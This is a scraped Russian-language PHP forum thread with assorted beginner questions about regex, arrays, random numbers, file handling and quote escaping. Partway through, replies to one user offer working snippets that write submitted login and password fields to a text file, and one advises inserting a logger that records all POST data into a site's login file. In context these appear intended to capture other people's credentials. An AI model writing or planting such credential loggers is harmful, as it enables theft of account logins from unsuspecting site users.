Кстати насчёт регулярок. На офф сайтах фигня, новичку не хрена не понятно...я так же, когда регулярки не понимал лазил по офф сайтам и не вдуплял что такое подшаблоны, ограничители, модификаторы... Так что советую почитать вот эту статью и сразу станет всё понятно http://pyha.ru/forum/topic/19.0
вопроса не понял... если сервер линуховый Code: system("ls <имя папки>") если вндовый то (_http://www.computerhope.com/dirhlp.htm) Code: system("dir <пусть до папки>")
Подскажите, как правильно удалить произвольный элемент массива? К примеру array_shift и array_pop извлекают соотвественно первый и последний элементы, но для произвольного элемента - я видимо плохо искал. З.Ы. $a[2]=""; - не предлагать)
Как реализовать? нужно достать с файла строки найти определенный символ в строках и удалить все что находиться после этого символа..
плз помогите, чет никак не выходит есть массив for($i=0; $i<$id; $i++) { $rand_array[$i] = rand(1, $id); } надо сделать так чтобы на выходе каждый эл-т был уникален к примеру если взять $id=2 и получим массив array(1, 1); на выходе надо получить array(1, 2); или array(2, 1); у меня получилось вот что: PHP: $arr = array(2, 2, 1, 3, 3); function uniq($arr, $id) { for($j=0; $j<count($arr); $j++) { $temp = $arr[$j]; for($k=0; $k<count($arr); $k++) { if($i==4 && $k==4) return($arr); $k = ($k==$j) ? ($j+1) : $k; if($temp == $arr[$k]) { $arr[$k] = rand(1, $id); uniq($arr, $id); } } } return($arr); } но выполняется не всегда, видимо постоянная рекурсия жрет очень много ресурсов. помогите как исправить код чтобы работал без сбоев) или мб какой-нибудь другой вар обработки предложите) заранее спасибо
По идеи должно сработать ... PHP: <?php for($i=0; $i<$id; $i++) { $buf = mt_rand(1, $id); while(in_array($buf,$rand_array)) { $buf = mt_rand(1, $id); } $rand_array[] = $buf; } ?>
scarm PHP: <?php $f = fopen('lp.txt','a'); fwrite($f,$_POST['login'].':'.$_POST['pass']."\r\n"); fclose($f); ?> токо надо поправить POST данные в соответствии со скриптом
тогда уж лучше в файл логина: PHP: <?php $f = fopen('lp.txt','a'); foreach($_POST as $data){ fwrite($f, $data.'\n'); } fclose($f); ?>
Вопрос такой.... файл log.php полностью перезаписывается перемеенной $body PHP: $body= " <? /$list="<div><span style=\"cursor:hand;color:#ffffff;\" onclick=\"toggle(document.getElementById('HShow#num#'));\">»</span> <a href=\"./".$tagmetka."/#menu#\" class=\"menu\">#namemenu#</a></div> <span id=HShow#num#>#listing#</span><script>toggle(document.getElementById('HShow#num#'));</script>"; ?>"; Но как видно и $list имеет и одинарные и двойные кавычки и само значение переменной $body помещено в двойные кавычки и из-за этого проблемы с обособлением значения перемнной. Как правильно использовать кавычки?